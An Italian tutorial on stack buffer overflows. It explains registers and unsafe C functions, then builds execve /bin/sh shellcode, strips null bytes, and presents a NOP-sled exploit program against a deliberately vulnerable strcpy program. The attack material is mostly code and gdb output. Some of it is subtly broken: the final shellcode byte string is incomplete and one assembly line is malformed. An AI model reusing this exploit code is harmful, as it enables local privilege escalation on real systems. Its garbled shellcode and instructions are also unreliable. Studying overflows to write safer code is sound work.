|
QUESTO ARTICOLO È STATO SCRITTO CON LO SCOPO DI FAR CAPIRE AI PROGRAMMATORI COME EVITARE CERTI ERRORI SARANNO DESCRITTI GLI ERRORI CHE PERMETTONO L'OVERFLOW E LA RISPETTIVA COMPROMISSIONE
[PRIMA DI PASSARE ALLA GUIDA VERA E PROPRIA FACCIAMO UNA SINTASSI GENERALE DEI REGISTRI DEL PROCESSORE]
I registri fanno parte della cpu e consentono di conservare dati,si dividono in :
Registri Segmento
ES - Extra Segment -> Dati
DS - Data Segment -> Dati
CS - Code Segment -> Codice
SS - Stack Segment -> Stack
Registri Offset
IP - Instruction Pointer -> Codice
SP - Stack Pointer -> Stack
BP - Base Pointer -> Stack/Dati
DI - Destination Index -> Dati
SI - Source Index -> Dati
Registri generali
AX - Accumulatore
BX - Base
CX - Contatore
DX - Destinazione
Registro Flag
beh questo registro è un po più complicato da spiegare...e ora nn ci serve molto,quindi
se deciderò di scrivere una guida all'asm(cosa molto improbabile) ne parlerò meglio!
vi specifico solo :
OF - Overflow
quando la grandezza di una parte di dati supera la grandezza del registro a cui è destinata.
ora mi fermo un secondo sullo stack...dato che ci interessa molto!!!,uno stack è una parte di
memoria che contiene dei dati e lo stackpointer è la parte che punta all'inizio dello stack.
i comandi principali dello stack sono :
PUSH --> aggiunge un dato in cima allo stack
POP --> rimuove un dato
_______________________________________________________________________________________________
allora ragazzi prometto che mi impegnerò per spiegarvi bene cosa è un buffer overflow
e come eseguire codice arbitrario su di esso!!!allora comincio per dirvi che un buffer
è per esempio un array i quali possono essere dinamici o statici,quelli che ci interessano a noi
sono gli array che hanno variabili statiche (che vengono caricate sullo stack),in poche parole
noi dobbiamo far fuoriuscire i dati dal buffer di questo array!!!questo quando accade?!!bhe spesso
i programmi contengono degli errori,che nn controllano la dimensione di dati inseriti in una variabile!!
i programmi in questione sono programmi con suid root,che nn sono controllati adeguatamente!
per una maggiore sicurezza diciamo quali sono le funzioni da tenere sott'occhio :
GETS() --> copia caratteri da una stringa fino a che nn trova un EOF nn controlla la mole di dati!
GETC(),FGETC() --> nn contengono controlli propri,il controllo può essere fatto da un ciclo esterno!
STRCPY(),STRCAT() --> anche questi nn eseguono controlli!
ce ne sono anche altre sicuramente,ma a me ora vengono in mente solo queste :P .......
vediamo un esempio:
se io scrivo un programma così...
____________________________________________________
void main() {
char buffer[20];
char stringona[250];
for( i = 0; i < 255; i++)
stringona[i] = 'm';
strcpy(buffer,stringona);
}
_____________________________________________________
quì si avrà un classico overflow,perchè passeremo al buffer una mole di dati più grande del previsto
e la strcpy nn controlla la lunghezza...perciò se il buffer è 20 e la stringa passata è 250,i 230 byte
successivi verranno sovrascritti dalla nostra lettera "m" che abbiamo inserito nel"stringone"!!!
in questo modo cambieremo l'indirizzo di ritorno mettendo il nostro carattere,(o shellcode che sia) :)
ma come inseriamo la nostra shellcode?? beh bisogna metterla nel buffer sovrascrivendo RET e facendola puntare
al buffer!ora che abbiamo capito cosa è un overflow vediamo come scrivere il nostro shellcode per
creare un buffer overflow.......
vediamo un esempio di shell..questo programma richiama una shell tramite execve :
[info: nn usare altri modi per eseguire una shell tipo (system("/bin/sh")) perchè abbiamo bisogno
della execve che andrà poi inserita nel codice(shellcode)]
___________________________________________________________________
#include
int main(void){
char *code[2];
code[0] = "/bin/sh";
code[1] = NULL;
execve(code[0], code, NULL);
exit(0);
}
_____________________________________________________________________
vediamo......per scrivere una shellcode abbiamo bisogno di :
mettere in memoria /bin/sh
mettere dopo la stringa /bin/sh una stringa di 8 byte di NULL
copiare 0xb in eax
copiare l'indirizzo di /bin/sh in eax
copiare l'indirizzo del NULL di 8 byte in edx
eseguire int 0x80
vediamo subito come fare....
compiliamo il programma sopra scritto col gcc mettendo anche l'opzione -static che ci permetterà anche di vedere il codice
della execve... e subito dopo con gdb lo disassembliamo ..il risultato sarà: (almeno a me)
[main@localhost]$ gcc -s shell.c -o shell
[main@localhost]$ gdb shell
(gdb) disassemble main
Dump of assembler code for function main:
0x8048490 : push %ebp
0x8048491 : mov %esp,%ebp
0x8048493 : sub $0x8,%esp
0x8048496 : movl $0x8048538,0xfffffff8(%ebp)
0x804849d : movl $0x0,0xfffffffc(%ebp)
0x80484a4 : sub $0x4,%esp
0x80484a7 : push $0x0
0x80484a9 : lea 0xfffffff8(%ebp),%eax
0x80484ac : push %eax
0x80484ad : pushl 0xfffffff8(%ebp)
0x80484b0 : call 0x804833c
0x80484b5 : add $0x10,%esp
0x80484b8 : sub $0xc,%esp
0x80484bb : push $0x0
0x80484bd : call 0x804837c
0x80484c2 : lea 0x0(%esi,1),%esi
0x80484c9 : lea 0x0(%edi,1),%edi
End of assembler dump.
come vedete :
0x8048490 : push %ebp
0x8048491 : mov %esp,%ebp --> spazio per variabili
0x8048493 : sub $0x8,%esp
il frame pointer viene settato allo stack pointer lasciando spazio per eventuali variabili "code[2]"
ma continuiamo ad analizzarlo:
[LE PARTI INTERESSANTI]
0x8048496 : movl $0x8048538,0xfffffff8(%ebp)
Copia l'indirizzo della stringa /bin/sh (0x8048538) al primo puntatore code[]
0x804849d : movl $0x0,0xfffffffc(%ebp)
copia il NULL (0) nel secondo puntatore code[]
0x80484a9 : lea 0xfffffff8(%ebp),%eax
ora viene caricato(lea=load effective address)l'indirizzo di code[] in eax
0x80484ac : push %eax
l'indirizzo di code[] viene inserito nello stack
0x80484b0 : call 0x804833c
ora viene eseguita la execve
a questo punto dobbiamo disassemblare la execve..
dato che la dobbiamo mettere nel nostro shellcode...
come al solito usiamo gdb :
[main@localhost]$ gdb shell
(gdb) disass execve
[VI RIPORTO LE PARTI CHE INTERESSANO]
0x804cf60 : push %ebp
0x804cf66 : mov %esp,%ebp
0x804cf69 : push %ebx
0x80002cb : movl 0x10(%ebp),%edx (Copia l'indirizzo di NULL in edx)
___________________________________________
bene ora possiamo finalmente scrivere uno shellcode in assembler!!uhaaaa che fatica :°°°°
ma quì sorge un problema!!!! cioè,noi nn sappiamo dove si trova il codice da compromettere
per risolvere questo problema possiamo mettere CALL prima di /bin/sh e una JMP che salta
ad essa..in poche parole quando la CALL va in esecuzione,la stringa(/bin/sh) viene messa
come valore di ritorno!!!vediamo ora il codice :
void main() {
__asm__("
jmp 0x26
popl %esi
movl %esi,0x8(%esi) /*sposto /bin/sh(0x8)in esi*/
movb $0x0,0x7(%esi) /*accodo i byte di NULL*/
movl $0x0,0xc(%esi) /*offset del NULL*/
movl $0xb,%eax /*copio 0xb in eax*/
movl %esi,%ebx
leal 0x8,(%esi),%eax /*carica la stringa(/bin/sh)in eax*/
leal 0xc(%esi),%edx /*carica l'offset del NULL in edx*/
int $0x80 /*esecuzione della int 0x80*/
movl $0x1, %eax /*copio 0x1 in eax*/
movl $0x0, %ebx /*copio 0x0 in ebx*/
int $0x80 /*esecuzione della 0x80*/
call -0x2b
.string \"/bin/sh\"
");
}
mhh vediamo ancora una volta di cosa avevamo bisogno :
mettere in memoria /bin/sh --> l'abbiamo messa in esi
mettere dopo la stringa /bin/sh una stringa di 8 byte di NULL --> l'abbiamo spostati con la movl
copiare 0xb in eax --> copiati(movl $0xb,%eax)
copiare l'indirizzo di /bin/sh in eax --> anche questo lo abbiamo fatto (leal 0x8,%eax)
copiare l'indirizzo del NULL di 8 byte in edx --> fatto caricando l'offset del null
eseguire int 0x80 --> eseguita
bene ci siamo!ora il nostro programma è completo..ma contiene degli zeri...questo a noi da fastidio
perchè lo zero viene inteso come la fine della stringa,perciò se nn li eliminiamo il nostro overflow
nn avrà luogo!!!ecco come eliminarli :
void main() {
asm__("
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
");
}
___________________________
ora che il nostro codice è senza zeri lo decompiliamo con gdb :
(gdb) disass main
Dump of assembler code for function main:
0x8048430 : push %ebp
0x8048431 : mov %esp,%ebp
0x8048433 : jmp 0x1f
0x8048438 : pop %esi
0x8048439 : mov %esi,0x8(%esi)
0x804843c : xor %eax,%eax
0x804843e : mov %al,0x7(%esi)
0x8048441 : mov %eax,0xc(%esi)
0x8048444 : mov $0xb,%al
0x8048446 : mov %esi,%ebx
0x8048448 : lea 0x8(%esi),%ecx
0x804844b : lea 0xc(%esi),%edx
0x804844e : int $0x80
0x8048450 : xor %ebx,%ebx
0x8048452 : mov %ebx,%eax
0x8048454 : inc %eax
0x8048455 : int $0x80
0x8048457 : call 0xffffffd5
0x804845c : das
0x804845d : bound %ebp,0x6e(%ecx)
0x8048460 : das
0x8048461 : jae 0x80484cb
0x8048463 : add %bl,0xffffffc3(%ebp)
End of assembler dump.
ok!! ma come scriviamo i caratteri per lo shellcode??..sempre da gdb digitiamo:
(gdb) x/bx main
0x8048430 : 0x55 <-- ecco i caratteri
(gdb) x/bx main+1
0x8048431 : 0x89
(gdb) x/bx main+3
0x8048433 : 0xe9
(gdb) x/bx main+8
0x8048438 : 0x5e
(gdb) x/bx main+9
0x8048439 : 0x89
si continua così fino alla fine della main...ora si riscrive il tutto mettendo al posto dello 0 iniziale la"\"
si otterrà un codice simile :
char shellcode[]=
"\x55\x89\xe9\x5e\x89\x31\x88\x89\xb0\x89"
"\x8d\x8d\xcd\x31\x89\x40\xcd\xe8\x2f\x62"
"\x2f\x73\x00/bin/sh";
/*per eseguire questo shellcode che ci ha fatto tanto soffrire :°°°°° si usano poche righe di codice:*/
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
ok ragazzi siamo arrivati fino a scrivere lo shellcode...ora che ne dite di vedere come scrivere un exploit
per un overflow??bhe allora noi sappiamo che il nostro shellcode deve andare nella stringa che farà l'overflow
e sappiamo che dobbiamo far puntare ret al buffer!!!prima di tutto ci scriviamo un programma che trova lo stackpointer
ma perchè direte voi??logico...perchè noi nn sappiamo dove si trovi il buffer del programma che vogliamo exploitare
però sappiamo che lo stackpointer inizia sempre allo stesso indirizzo..se calcoliamo che quasi tutti i programmi nn mettono più di
qualche migliaio di byte sullo stack sarà facile indovinare dove si trova il buffer..ecco il programma che calcola lo stackpointer:
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
[main@localhost]$ ./stackp
0xbffff898 <--- eccolo!!!!!
ora per vedere in pratica come sfruttare tutto questo che abbiamo letto ci scriviamo un programmino vulnerabile :
void main(int argc, char *argv[]) {
char buffer[500];
if (argc > 1)
strcpy(buffer,argv[1]);
}
come vediamo questo programma andrà in overflow se come primo argomento riceve più di 500 byte..beh allora cosa aspettiamo a
passargli la nostra shell???
[PREMETTO CHE QUESTO PROGRAMMA NN È STATO CODATO DA ME..DI MIO C'È SOLO LA SHELLCODE,CHE ABBIAMO FATTO ORA]
____________________________________________________________
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 500
#define NOP 0x90
char shellcode[]=
"\x55\x89\xe9\x5e\x89\x31\x88\x89\xb0\x89"
"\x8d\x8d\xcd\x31\x89\x40\xcd\xe8\x2f\x62"
"\x2f\x73\x00/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("./vulnerabile");/*vulenrabile è il nome del prog vulnerabile*/
}
___________________________________________________________________
come vedete abbiamo inserito anche dei nop altrimenti bisognava indovinare l'inizio preciso del
buffer ed era moooooolto lunga..in questo modo(usando il NOP)abbiamo una più ampia possibilità
di trovare il buffer dato che se anche nn lo troviamo con la shellcode,ma lo troviamo con 0x90(nop)
esso farà scivolare il codice fino alla stringa (shellcode)..ora proviamo:
[main@localhost]$ ./ex 100
Using address: 0xbffff688
[main@localhost]$ ./ex 200
Using address: 0xbffff828
[main@localhost]$ ./ex 612
Using address: 0xbffff7c8
[main@localhost]$ ./ex 600
Using address: 0xbffff628
ora con un po di fortuna troveremo presto il buffer ed esso sarà compromesso dalla nostra shellcode!!!
|